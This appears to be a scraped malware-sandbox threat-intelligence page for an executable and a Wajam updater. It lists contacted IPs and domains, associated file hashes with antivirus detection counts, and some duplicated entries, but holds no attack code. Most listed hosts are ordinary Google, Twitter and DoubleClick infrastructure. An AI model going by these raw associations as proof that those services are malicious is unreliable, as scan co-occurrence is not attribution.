Domain staticfail.wajam.com Threat Level - Positives - Last Resolved 06/13/2019 02:55:58 VirusTotal Report	staticfail.wajam.com	-	-	06/13/2019 02:55:58	Report

TCP

6a393ecb2861a27240d322dd407f6adb7218b0a5.exe
PID: 3408
iexplore.exe
PID: 4652
wajamupdater.exe
PID: 4780

France

172.217.7.170

Associated Artifacts for 172.217.7.170

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 336404d806cbb03bfec8dc60cd8413d39f6ca47adae0572477f31bc18f79ca22 Threat Level no verdict Positives - Scan Date 05/05/2018 22:44:40 Reference AlienVault	336404d806cbb03bfec8dc60cd8413d39f6ca47adae0572477f31bc18f79ca22	no verdict	-	05/05/2018 22:44:40	AlienVault
Associated SHA256 fe05e3e070f6971796a4c12805b877f85c8b49e5278b859a0844f3fc994ae831 Threat Level no verdict Positives - Scan Date 05/05/2018 13:19:33 Reference AlienVault	fe05e3e070f6971796a4c12805b877f85c8b49e5278b859a0844f3fc994ae831	no verdict	-	05/05/2018 13:19:33	AlienVault
Associated SHA256 a553f2ff7003b5fa2d4c8e47272c659c98ea0c1293fa23e81e879c74c2fafcb5 Threat Level no verdict Positives - Scan Date 04/21/2018 16:32:03 Reference AlienVault	a553f2ff7003b5fa2d4c8e47272c659c98ea0c1293fa23e81e879c74c2fafcb5	no verdict	-	04/21/2018 16:32:03	AlienVault
Associated SHA256 44e882709e943d36f8c512e0c603df895fab79f2e9e099f406fc29e38da5b0f2 Threat Level malicious Positives 38/66 Scan Date 04/11/2018 22:19:04 Reference VirusTotal	44e882709e943d36f8c512e0c603df895fab79f2e9e099f406fc29e38da5b0f2	malicious	38/66	04/11/2018 22:19:04	VirusTotal
Associated SHA256 dfe210d31f3cb7c4c4bed901eb83579e8e72cdbbc7935482a402bdc05e730d57 Threat Level no verdict Positives - Scan Date 04/04/2018 13:48:06 Reference AlienVault	dfe210d31f3cb7c4c4bed901eb83579e8e72cdbbc7935482a402bdc05e730d57	no verdict	-	04/04/2018 13:48:06	AlienVault
Associated SHA256 0e9683520e254094503ae0c381212e81554be09ec97039af0f61a0e6c8a225e2 Threat Level no verdict Positives - Scan Date 03/30/2018 20:31:48 Reference AlienVault	0e9683520e254094503ae0c381212e81554be09ec97039af0f61a0e6c8a225e2	no verdict	-	03/30/2018 20:31:48	AlienVault
Associated SHA256 adcb7a9c1fef0db1d03f63bb5dcb76bd0a0479c63d14645d106a257e16caec9b Threat Level malicious Positives 29/68 Scan Date 12/19/2017 23:30:42 Reference VirusTotal	adcb7a9c1fef0db1d03f63bb5dcb76bd0a0479c63d14645d106a257e16caec9b	malicious	29/68	12/19/2017 23:30:42	VirusTotal
Associated SHA256 4681929e6c5344af2d54e85d3d9261a7371c8a0213ac95c970462ea1c32f65d4 Threat Level malicious Positives 37/68 Scan Date 12/07/2017 15:19:37 Reference VirusTotal	4681929e6c5344af2d54e85d3d9261a7371c8a0213ac95c970462ea1c32f65d4	malicious	37/68	12/07/2017 15:19:37	VirusTotal
Associated SHA256 36de74e3bfab5d938c77069b4fa4a190e0f8d7548a0892651fbe014913ecb2ce Threat Level malicious Positives 15/64 Scan Date 11/25/2017 16:49:35 Reference VirusTotal	36de74e3bfab5d938c77069b4fa4a190e0f8d7548a0892651fbe014913ecb2ce	malicious	15/64	11/25/2017 16:49:35	VirusTotal
Associated SHA256 db5d8a230105dd15216b90eea2de4407b5959602bfcf051f831bcbf11c564249 Threat Level malicious Positives 31/68 Scan Date 11/12/2017 20:54:25 Reference VirusTotal	db5d8a230105dd15216b90eea2de4407b5959602bfcf051f831bcbf11c564249	malicious	31/68	11/12/2017 20:54:25	VirusTotal

Details	Domain	Threat Level	Positives	Last Resolved	Reference
Domain iad30s09-in-f10.1e100.net Threat Level - Positives - Last Resolved 04/01/2019 04:05:32 VirusTotal Report	iad30s09-in-f10.1e100.net	-	-	04/01/2019 04:05:32	Report
Domain iad30s09-in-f170.1e100.net Threat Level - Positives - Last Resolved 03/06/2019 15:22:23 VirusTotal Report	iad30s09-in-f170.1e100.net	-	-	03/06/2019 15:22:23	Report
Domain auditrecording-pa.googleapis.com Threat Level - Positives - Last Resolved 08/21/2018 16:42:13 VirusTotal Report	auditrecording-pa.googleapis.com	-	-	08/21/2018 16:42:13	Report
Domain iid.googleapis.com Threat Level - Positives - Last Resolved 08/20/2018 10:02:30 VirusTotal Report	iid.googleapis.com	-	-	08/20/2018 10:02:30	Report
Domain pay-users-pa.googleapis.com Threat Level - Positives - Last Resolved 08/11/2018 12:58:00 VirusTotal Report	pay-users-pa.googleapis.com	-	-	08/11/2018 12:58:00	Report

TCP

iexplore.exe
PID: 4652

United States

192.229.163.25

Associated Artifacts for 192.229.163.25

Details	Associated URL	Threat Level	Positives	Scan Date	Reference
Associated URL http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fzoemoon.com%2F2013%2F08%2F11%2Fzoe-moon-astrology-weekly-forecast-aug-12-18%2F&amp%3Bcounturl=http%3A%2F%2Fzoemoon.com%2F2013%2F08%2F11%2Fzoe-moon-astrology-weekly-forecast-aug-12-18%2F&amp%3Bcount=horizontal&amp%3Btext=ZOE+MOON+ASTROLOGY+WEEKLY+FORECAST+AUG+12-18 Threat Level suspicious Positives 1/67 Scan Date 08/22/2018 12:09:25 Reference -	http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fzoemoon.com%2F2013%2F08%2F11%2Fzoe-moon-astrology-weekly-forecast-aug-12-18%2F&amp%3Bcounturl=http%3A%2F%2Fzoemoon.com%2F2013%2F08%2F11%2Fzoe-moon-astrology-weekly-forecast-aug-12-18%2F&amp%3Bcount=horizontal&amp%3Btext=ZOE+MOON+ASTROLOGY+WEEKLY+FORECAST+AUG+12-18	suspicious	1/67	08/22/2018 12:09:25	-
Associated URL http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fteruc.dnsalias.net%2Fblog%2F2012%2F05%2F10%2F319&text=%5BASP.NET%20MVC%5D%E3%83%AA%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%8B%E3%82%89%E3%81%AE%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E5%8F%96%E5%BE%97%E3%81%A8%E4%BB%BB%E6%84%8F%E3%81%AE%E7%BD%AE%E6%8F%9B%E6%96%87%E5%AD%97%E5%88%97%E3%81%AB%E5%AF%BE%E5%BF%9C%E3%81%97%E3%81%9F%E6%A4%9C%E8%A8%BC%E5%B1%9E%E6%80%A7%E3%81%AE%E5%AE%9F%E8%A3%85&lang=ja&count=horizontal Threat Level suspicious Positives 1/64 Scan Date 01/30/2017 04:59:29 Reference -	http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fteruc.dnsalias.net%2Fblog%2F2012%2F05%2F10%2F319&text=%5BASP.NET%20MVC%5D%E3%83%AA%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%8B%E3%82%89%E3%81%AE%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E5%8F%96%E5%BE%97%E3%81%A8%E4%BB%BB%E6%84%8F%E3%81%AE%E7%BD%AE%E6%8F%9B%E6%96%87%E5%AD%97%E5%88%97%E3%81%AB%E5%AF%BE%E5%BF%9C%E3%81%97%E3%81%9F%E6%A4%9C%E8%A8%BC%E5%B1%9E%E6%80%A7%E3%81%AE%E5%AE%9F%E8%A3%85&lang=ja&count=horizontal	suspicious	1/64	01/30/2017 04:59:29	-
Associated URL https://pbs.twimg.com/media/CahUxqZW4AASA7m.jpg Threat Level suspicious Positives 1/67 Scan Date 02/21/2016 16:11:36 Reference -	https://pbs.twimg.com/media/CahUxqZW4AASA7m.jpg	suspicious	1/67	02/21/2016 16:11:36	-
Associated URL https://pbs.twimg.com/media/CahEtHBWEAERmWE.jpg Threat Level suspicious Positives 1/67 Scan Date 02/21/2016 16:07:26 Reference -	https://pbs.twimg.com/media/CahEtHBWEAERmWE.jpg	suspicious	1/67	02/21/2016 16:07:26	-
Associated URL https://pbs.twimg.com/media/Cbv9rE7WEAAYhTF.jpg Threat Level suspicious Positives 1/67 Scan Date 02/21/2016 15:59:12 Reference -	https://pbs.twimg.com/media/Cbv9rE7WEAAYhTF.jpg	suspicious	1/67	02/21/2016 15:59:12	-

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 4fde0ef98e790ec50a72f4277c88c3bed1c93fc4d8b81ac0d81aa32943a264a6 Threat Level no verdict Positives - Scan Date 06/18/2019 21:53:12 Reference AlienVault	4fde0ef98e790ec50a72f4277c88c3bed1c93fc4d8b81ac0d81aa32943a264a6	no verdict	-	06/18/2019 21:53:12	AlienVault
Associated SHA256 19ff61db918e59df80acc1bdd44580b7c559d4a99b3535dfa9a8137ab6dff7bc Threat Level no verdict Positives - Scan Date 06/17/2019 19:17:38 Reference AlienVault	19ff61db918e59df80acc1bdd44580b7c559d4a99b3535dfa9a8137ab6dff7bc	no verdict	-	06/17/2019 19:17:38	AlienVault
Associated SHA256 5184b174cd09596c1984fb54fa4d6b60a9522073f8b1e840f1fd7003bc24c155 Threat Level no verdict Positives - Scan Date 06/17/2019 19:17:27 Reference AlienVault	5184b174cd09596c1984fb54fa4d6b60a9522073f8b1e840f1fd7003bc24c155	no verdict	-	06/17/2019 19:17:27	AlienVault
Associated SHA256 e7da1bd0437a0a0e4f39a312257c2fad40140378fee4ff2ba82873083132f2d3 Threat Level malicious Positives 17/71 Scan Date 12/22/2018 02:47:17 Reference VirusTotal	e7da1bd0437a0a0e4f39a312257c2fad40140378fee4ff2ba82873083132f2d3	malicious	17/71	12/22/2018 02:47:17	VirusTotal
Associated SHA256 d4539d82927e72df973e009f5f730188447af920869d9320ebb9a0b6c3fd4cd3 Threat Level suspicious Positives 1/70 Scan Date 09/01/2018 00:06:05 Reference VirusTotal	d4539d82927e72df973e009f5f730188447af920869d9320ebb9a0b6c3fd4cd3	suspicious	1/70	09/01/2018 00:06:05	VirusTotal
Associated SHA256 183a783e4b4137053cb32215ffd258948b557afeec70aafdd4f4aa9ade31366c Threat Level malicious Positives 40/71 Scan Date 08/03/2018 13:54:20 Reference VirusTotal	183a783e4b4137053cb32215ffd258948b557afeec70aafdd4f4aa9ade31366c	malicious	40/71	08/03/2018 13:54:20	VirusTotal
Associated SHA256 4d50fcf12a9057f50c84b726577c1a2a1e23e586e1817883ed55b7c426a02fe2 Threat Level suspicious Positives 1/69 Scan Date 07/07/2018 02:27:49 Reference VirusTotal	4d50fcf12a9057f50c84b726577c1a2a1e23e586e1817883ed55b7c426a02fe2	suspicious	1/69	07/07/2018 02:27:49	VirusTotal
Associated SHA256 fff82662e3589be64093618e8e4ff7836c527f3f747aede0143aff5d02450780 Threat Level malicious Positives 28/68 Scan Date 07/06/2018 17:51:09 Reference VirusTotal	fff82662e3589be64093618e8e4ff7836c527f3f747aede0143aff5d02450780	malicious	28/68	07/06/2018 17:51:09	VirusTotal
Associated SHA256 2c361e8fee10884b61e94d8995da90ab0f8baebd1f12af13f4e6267dc6ddb1bd Threat Level no verdict Positives - Scan Date 11/23/2017 14:52:33 Reference AlienVault	2c361e8fee10884b61e94d8995da90ab0f8baebd1f12af13f4e6267dc6ddb1bd	no verdict	-	11/23/2017 14:52:33	AlienVault
Associated SHA256 1be0c624091f49e1b67875f4bbe664cd55acdef22c28bcb7ee245c61907b0ec7 Threat Level no verdict Positives - Scan Date 11/23/2017 13:29:00 Reference AlienVault	1be0c624091f49e1b67875f4bbe664cd55acdef22c28bcb7ee245c61907b0ec7	no verdict	-	11/23/2017 13:29:00	AlienVault

Details	Domain	Threat Level	Positives	Last Resolved	Reference
Domain cs491.wac.edgecastcdn.net Threat Level - Positives - Last Resolved 06/19/2019 06:34:55 VirusTotal Report	cs491.wac.edgecastcdn.net	-	-	06/19/2019 06:34:55	Report
Domain platform.twitter.com Threat Level - Positives - Last Resolved 06/19/2019 13:36:25 VirusTotal Report	platform.twitter.com	-	-	06/19/2019 13:36:25	Report
Domain cs472.wac.edgecastcdn.net Threat Level - Positives - Last Resolved 06/12/2019 03:05:38 VirusTotal Report	cs472.wac.edgecastcdn.net	-	-	06/12/2019 03:05:38	Report
Domain cs1-lb-eu.8315.ecdns.net Threat Level - Positives - Last Resolved 06/05/2019 23:12:45 VirusTotal Report	cs1-lb-eu.8315.ecdns.net	-	-	06/05/2019 23:12:45	Report
Domain cs155.wac.edgecastcdn.net Threat Level - Positives - Last Resolved 04/30/2019 02:24:05 VirusTotal Report	cs155.wac.edgecastcdn.net	-	-	04/30/2019 02:24:05	Report

TCP

iexplore.exe
PID: 4652

United States

172.217.5.234

Associated Artifacts for 172.217.5.234

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 1ca8850f3938ec72b5bdb571164424dd4d7b9bd247d378d7b58bba2457c09a35 Threat Level malicious Positives 58/72 Scan Date 05/15/2019 23:34:11 Reference VirusTotal	1ca8850f3938ec72b5bdb571164424dd4d7b9bd247d378d7b58bba2457c09a35	malicious	58/72	05/15/2019 23:34:11	VirusTotal
Associated SHA256 100977320924b9f1b7f134c770daab86479b57f8e1d8f8c1f001c8b54241b477 Threat Level malicious Positives 50/65 Scan Date 02/28/2019 22:15:41 Reference VirusTotal	100977320924b9f1b7f134c770daab86479b57f8e1d8f8c1f001c8b54241b477	malicious	50/65	02/28/2019 22:15:41	VirusTotal
Associated SHA256 f4e04e9ab842c2e61b4bb4aab44fe58486c4b8a22c9517cc8bb39d8a18b8abde Threat Level malicious Positives 48/64 Scan Date 02/28/2019 22:55:42 Reference VirusTotal	f4e04e9ab842c2e61b4bb4aab44fe58486c4b8a22c9517cc8bb39d8a18b8abde	malicious	48/64	02/28/2019 22:55:42	VirusTotal
Associated SHA256 e69e9a3bf88c203712ae998de30acfb994206897b64df3ab9a47707d6a591231 Threat Level no verdict Positives - Scan Date 05/12/2018 16:26:53 Reference AlienVault	e69e9a3bf88c203712ae998de30acfb994206897b64df3ab9a47707d6a591231	no verdict	-	05/12/2018 16:26:53	AlienVault
Associated SHA256 af3ee003a5ded63597b7fba40edeb8f7ca1e7c410b1dd72bf1aa04249de36947 Threat Level no verdict Positives - Scan Date 05/03/2018 20:29:36 Reference AlienVault	af3ee003a5ded63597b7fba40edeb8f7ca1e7c410b1dd72bf1aa04249de36947	no verdict	-	05/03/2018 20:29:36	AlienVault
Associated SHA256 fe0cabbd60c38b0a22048025480ea6a26af0cd4e0fe3a2aa36a5ce4866cc8a44 Threat Level no verdict Positives - Scan Date 04/26/2018 02:39:17 Reference AlienVault	fe0cabbd60c38b0a22048025480ea6a26af0cd4e0fe3a2aa36a5ce4866cc8a44	no verdict	-	04/26/2018 02:39:17	AlienVault
Associated SHA256 fa42d12d0c05c0c9c965d2cdd31d967a81b823553607319f976ea96e78032cc7 Threat Level no verdict Positives - Scan Date 02/07/2018 17:49:00 Reference AlienVault	fa42d12d0c05c0c9c965d2cdd31d967a81b823553607319f976ea96e78032cc7	no verdict	-	02/07/2018 17:49:00	AlienVault
Associated SHA256 0da465adf9c8d068245bd2cec3164f2956d14d3a771730bb30c4d452eaa6bd78 Threat Level no verdict Positives - Scan Date 12/22/2017 06:40:24 Reference AlienVault	0da465adf9c8d068245bd2cec3164f2956d14d3a771730bb30c4d452eaa6bd78	no verdict	-	12/22/2017 06:40:24	AlienVault
Associated SHA256 9efef38d35eb6a917860e081b96259d4322be6583c2e6d6e3d18ceca5efd2218 Threat Level malicious Positives 51/67 Scan Date 12/21/2017 20:41:44 Reference VirusTotal	9efef38d35eb6a917860e081b96259d4322be6583c2e6d6e3d18ceca5efd2218	malicious	51/67	12/21/2017 20:41:44	VirusTotal
Associated SHA256 44a7043877f2f5cb149df3ac39e13dba742240998ea55c9472044d7b09a11fa3 Threat Level malicious Positives 35/68 Scan Date 12/21/2017 14:53:27 Reference VirusTotal	44a7043877f2f5cb149df3ac39e13dba742240998ea55c9472044d7b09a11fa3	malicious	35/68	12/21/2017 14:53:27	VirusTotal

Details	Domain	Threat Level	Positives	Last Resolved	Reference
Domain iad30s07-in-f234.1e100.net Threat Level - Positives - Last Resolved 05/15/2019 21:56:44 VirusTotal Report	iad30s07-in-f234.1e100.net	-	-	05/15/2019 21:56:44	Report
Domain iad30s07-in-f10.1e100.net Threat Level - Positives - Last Resolved 03/19/2019 14:05:03 VirusTotal Report	iad30s07-in-f10.1e100.net	-	-	03/19/2019 14:05:03	Report
Domain cloudendpointsapis.com Threat Level - Positives - Last Resolved 09/26/2018 16:53:08 VirusTotal Report	cloudendpointsapis.com	-	-	09/26/2018 16:53:08	Report
Domain save-pa.googleapis.com Threat Level - Positives - Last Resolved 08/20/2018 05:22:23 VirusTotal Report	save-pa.googleapis.com	-	-	08/20/2018 05:22:23	Report
Domain offlinepages-pa.googleapis.com Threat Level - Positives - Last Resolved 08/06/2018 11:19:52 VirusTotal Report	offlinepages-pa.googleapis.com	-	-	08/06/2018 11:19:52	Report

TCP

iexplore.exe
PID: 4652

United States

74.125.192.155

Associated Artifacts for 74.125.192.155

Details	Associated URL	Threat Level	Positives	Scan Date	Reference
Associated URL https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=1561689094.1430196265&jid=1743330473&_v=j35&z=1388274836 Threat Level suspicious Positives 1/63 Scan Date 04/28/2015 04:45:35 Reference -	https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=1561689094.1430196265&jid=1743330473&_v=j35&z=1388274836	suspicious	1/63	04/28/2015 04:45:35	-
Associated URL https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=982038166.1430196095&jid=339211618&_v=j35&z=1108641866 Threat Level suspicious Positives 1/63 Scan Date 04/28/2015 04:43:02 Reference -	https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=982038166.1430196095&jid=339211618&_v=j35&z=1108641866	suspicious	1/63	04/28/2015 04:43:02	-
Associated URL https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=616252409.1430195976&jid=803007462&_v=j35&z=1987499391 Threat Level suspicious Positives 1/63 Scan Date 04/28/2015 04:40:47 Reference -	https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=616252409.1430195976&jid=803007462&_v=j35&z=1987499391	suspicious	1/63	04/28/2015 04:40:47	-
Associated URL https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=789606747.1430195847&jid=2024444283&_v=j35&z=618399270 Threat Level suspicious Positives 1/63 Scan Date 04/28/2015 04:39:59 Reference -	https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=789606747.1430195847&jid=2024444283&_v=j35&z=618399270	suspicious	1/63	04/28/2015 04:39:59	-
Associated URL https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=1863498444.1430195804&jid=1759761465&_v=j35&z=1909541938 Threat Level suspicious Positives 1/63 Scan Date 04/28/2015 04:38:57 Reference -	https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=1863498444.1430195804&jid=1759761465&_v=j35&z=1909541938	suspicious	1/63	04/28/2015 04:38:57	-

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 bfb33147f9b8bd5db589d5354a0d477217a926f8cd92617fc56467875f589086 Threat Level no verdict Positives - Scan Date 04/25/2019 03:59:15 Reference AlienVault	bfb33147f9b8bd5db589d5354a0d477217a926f8cd92617fc56467875f589086	no verdict	-	04/25/2019 03:59:15	AlienVault
Associated SHA256 763238e897f996710e9a24c95f8e60015f630e3f0b1b74a2b9ffe0f255277dfb Threat Level malicious Positives 22/54 Scan Date 11/04/2014 10:31:17 Reference VirusTotal	763238e897f996710e9a24c95f8e60015f630e3f0b1b74a2b9ffe0f255277dfb	malicious	22/54	11/04/2014 10:31:17	VirusTotal
Associated SHA256 8679362afe8969e39c8a67bd10dc4f154067e9b1c67b774f41efb11315df5314 Threat Level malicious Positives 20/53 Scan Date 08/31/2014 19:10:16 Reference VirusTotal	8679362afe8969e39c8a67bd10dc4f154067e9b1c67b774f41efb11315df5314	malicious	20/53	08/31/2014 19:10:16	VirusTotal
Associated SHA256 e717b4a152e1951565d90cd594868766146f57248bc9e1e37f317f7234fd5f15 Threat Level suspicious Positives 1/52 Scan Date 07/14/2014 16:36:14 Reference VirusTotal	e717b4a152e1951565d90cd594868766146f57248bc9e1e37f317f7234fd5f15	suspicious	1/52	07/14/2014 16:36:14	VirusTotal
Associated SHA256 18cda4fc1d191ed1d9e2dd77513a0e7cb928651510b1053049e8cd86e4cf1886 Threat Level suspicious Positives 1/50 Scan Date 06/05/2014 12:00:08 Reference VirusTotal	18cda4fc1d191ed1d9e2dd77513a0e7cb928651510b1053049e8cd86e4cf1886	suspicious	1/50	06/05/2014 12:00:08	VirusTotal
Associated SHA256 38b88de0565dee0113b4576650a26548c5f95f1a1ab4ed96dfc5f07ce80503bb Threat Level suspicious Positives 1/51 Scan Date 02/15/2014 02:41:46 Reference VirusTotal	38b88de0565dee0113b4576650a26548c5f95f1a1ab4ed96dfc5f07ce80503bb	suspicious	1/51	02/15/2014 02:41:46	VirusTotal

Details	Domain	Threat Level	Positives	Last Resolved	Reference
Domain ads-bid.l.doubleclick.net Threat Level - Positives - Last Resolved 04/21/2018 08:25:54 VirusTotal Report	ads-bid.l.doubleclick.net	-	-	04/21/2018 08:25:54	Report
Domain stats.l.doubleclick.net Threat Level - Positives - Last Resolved 04/06/2018 15:38:38 VirusTotal Report	stats.l.doubleclick.net	-	-	04/06/2018 15:38:38	Report
Domain pagead46.l.doubleclick.net Threat Level - Positives - Last Resolved 04/10/2014 00:00:00 VirusTotal Report	pagead46.l.doubleclick.net	-	-	04/10/2014 00:00:00	Report
Domain partnerssl.googleadservices.com Threat Level - Positives - Last Resolved 04/03/2014 00:00:00 VirusTotal Report	partnerssl.googleadservices.com	-	-	04/03/2014 00:00:00	Report
Domain googleadservices.com Threat Level - Positives - Last Resolved 02/03/2014 00:00:00 VirusTotal Report	googleadservices.com	-	-	02/03/2014 00:00:00	Report

TCP

iexplore.exe
PID: 4652

United States

192.229.163.25

Associated Artifacts for 192.229.163.25

Details	Associated URL	Threat Level	Positives	Scan Date	Reference
Associated URL http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fzoemoon.com%2F2013%2F08%2F11%2Fzoe-moon-astrology-weekly-forecast-aug-12-18%2F&amp%3Bcounturl=http%3A%2F%2Fzoemoon.com%2F2013%2F08%2F11%2Fzoe-moon-astrology-weekly-forecast-aug-12-18%2F&amp%3Bcount=horizontal&amp%3Btext=ZOE+MOON+ASTROLOGY+WEEKLY+FORECAST+AUG+12-18 Threat Level suspicious Positives 1/67 Scan Date 08/22/2018 12:09:25 Reference -	http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fzoemoon.com%2F2013%2F08%2F11%2Fzoe-moon-astrology-weekly-forecast-aug-12-18%2F&amp%3Bcounturl=http%3A%2F%2Fzoemoon.com%2F2013%2F08%2F11%2Fzoe-moon-astrology-weekly-forecast-aug-12-18%2F&amp%3Bcount=horizontal&amp%3Btext=ZOE+MOON+ASTROLOGY+WEEKLY+FORECAST+AUG+12-18	suspicious	1/67	08/22/2018 12:09:25	-
Associated URL http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fteruc.dnsalias.net%2Fblog%2F2012%2F05%2F10%2F319&text=%5BASP.NET%20MVC%5D%E3%83%AA%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%8B%E3%82%89%E3%81%AE%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E5%8F%96%E5%BE%97%E3%81%A8%E4%BB%BB%E6%84%8F%E3%81%AE%E7%BD%AE%E6%8F%9B%E6%96%87%E5%AD%97%E5%88%97%E3%81%AB%E5%AF%BE%E5%BF%9C%E3%81%97%E3%81%9F%E6%A4%9C%E8%A8%BC%E5%B1%9E%E6%80%A7%E3%81%AE%E5%AE%9F%E8%A3%85&lang=ja&count=horizontal Threat Level suspicious Positives 1/64 Scan Date 01/30/2017 04:59:29 Reference -	http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fteruc.dnsalias.net%2Fblog%2F2012%2F05%2F10%2F319&text=%5BASP.NET%20MVC%5D%E3%83%AA%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%8B%E3%82%89%E3%81%AE%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E5%8F%96%E5%BE%97%E3%81%A8%E4%BB%BB%E6%84%8F%E3%81%AE%E7%BD%AE%E6%8F%9B%E6%96%87%E5%AD%97%E5%88%97%E3%81%AB%E5%AF%BE%E5%BF%9C%E3%81%97%E3%81%9F%E6%A4%9C%E8%A8%BC%E5%B1%9E%E6%80%A7%E3%81%AE%E5%AE%9F%E8%A3%85&lang=ja&count=horizontal	suspicious	1/64	01/30/2017 04:59:29	-
Associated URL https://pbs.twimg.com/media/CahUxqZW4AASA7m.jpg Threat Level suspicious Positives 1/67 Scan Date 02/21/2016 16:11:36 Reference -	https://pbs.twimg.com/media/CahUxqZW4AASA7m.jpg	suspicious	1/67	02/21/2016 16:11:36	-
Associated URL https://pbs.twimg.com/media/CahEtHBWEAERmWE.jpg Threat Level suspicious Positives 1/67 Scan Date 02/21/2016 16:07:26 Reference -	https://pbs.twimg.com/media/CahEtHBWEAERmWE.jpg	suspicious	1/67	02/21/2016 16:07:26	-
Associated URL https://pbs.twimg.com/media/Cbv9rE7WEAAYhTF.jpg Threat Level suspicious Positives 1/67 Scan Date 02/21/2016 15:59:12 Reference -	https://pbs.twimg.com/media/Cbv9rE7WEAAYhTF.jpg	suspicious	1/67	02/21/2016 15:59:12	-

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 4fde0ef98e790ec50a72f4277c88c3bed1c93fc4d8b81ac0d81aa32943a264a6 Threat Level no verdict Positives - Scan Date 06/18/2019 21:53:12 Reference AlienVault	4fde0ef98e790ec50a72f4277c88c3bed1c93fc4d8b81ac0d81aa32943a264a6	no verdict	-	06/18/2019 21:53:12	AlienVault
Associated SHA256 19ff61db918e59df80acc1bdd44580b7c559d4a99b3535dfa9a8137ab6dff7bc Threat Level no verdict Positives - Scan Date 06/17/2019 19:17:38 Reference AlienVault	19ff61db918e59df80acc1bdd44580b7c559d4a99b3535dfa9a8137ab6dff7bc	no verdict	-	06/17/2019 19:17:38	AlienVault
Associated SHA256 5184b174cd09596c1984fb54fa4d6b60a9522073f8b1e840f1fd7003bc24c155 Threat Level no verdict Positives - Scan Date 06/17/2019 19:17:27 Reference AlienVault	5184b174cd09596c1984fb54fa4d6b60a9522073f8b1e840f1fd7003bc24c155	no verdict	-	06/17/2019 19:17:27	AlienVault
Associated SHA256 e7da1bd0437a0a0e4f39a312257c2fad40140378fee4ff2ba82873083132f2d3 Threat Level malicious Positives 17/71 Scan Date 12/22/2018 02:47:17 Reference VirusTotal	e7da1bd0437a0a0e4f39a312257c2fad40140378fee4ff2ba82873083132f2d3	malicious	17/71	12/22/2018 02:47:17	VirusTotal
Associated SHA256 d4539d82927e72df973e009f5f730188447af920869d9320ebb9a0b6c3fd4cd3 Threat Level suspicious Positives 1/70 Scan Date 09/01/2018 00:06:05 Reference VirusTotal	d4539d82927e72df973e009f5f730188447af920869d9320ebb9a0b6c3fd4cd3	suspicious	1/70	09/01/2018 00:06:05	VirusTotal
Associated SHA256 183a783e4b4137053cb32215ffd258948b557afeec70aafdd4f4aa9ade31366c Threat Level malicious Positives 40/71 Scan Date 08/03/2018 13:54:20 Reference VirusTotal	183a783e4b4137053cb32215ffd258948b557afeec70aafdd4f4aa9ade31366c	malicious	40/71	08/03/2018 13:54:20	VirusTotal
Associated SHA256 4d50fcf12a9057f50c84b726577c1a2a1e23e586e1817883ed55b7c426a02fe2 Threat Level suspicious Positives 1/69 Scan Date 07/07/2018 02:27:49 Reference VirusTotal	4d50fcf12a9057f50c84b726577c1a2a1e23e586e1817883ed55b7c426a02fe2	suspicious	1/69	07/07/2018 02:27:49	VirusTotal
Associated SHA256 fff82662e3589be64093618e8e4ff7836c527f3f747aede0143aff5d02450780 Threat Level malicious Positives 28/68 Scan Date 07/06/2018 17:51:09 Reference VirusTotal	fff82662e3589be64093618e8e4ff7836c527f3f747aede0143aff5d02450780	malicious	28/68	07/06/2018 17:51:09	VirusTotal
Associated SHA256 2c361e8fee10884b61e94d8995da90ab0f8baebd1f12af13f4e6267dc6ddb1bd Threat Level no verdict Positives - Scan Date 11/23/2017 14:52:33 Reference AlienVault	2c361e8fee10884b61e94d8995da90ab0f8baebd1f12af13f4e6267dc6ddb1bd	no verdict	-	11/23/2017 14:52:33	AlienVault
Associated SHA256 1be0c624091f49e1b67875f4bbe664cd55acdef22c28bcb7ee245c61907b0ec7 Threat Level no verdict Positives - Scan Date 11/23/2017 13:29:00 Reference AlienVault	1be0c624091f49e1b67875f4bbe664cd55acdef22c28bcb7ee245c61907b0ec7	no verdict	-	11/23/2017 13:29:00	AlienVault

Details	Domain	Threat Level	Positives	Last Resolved	Reference
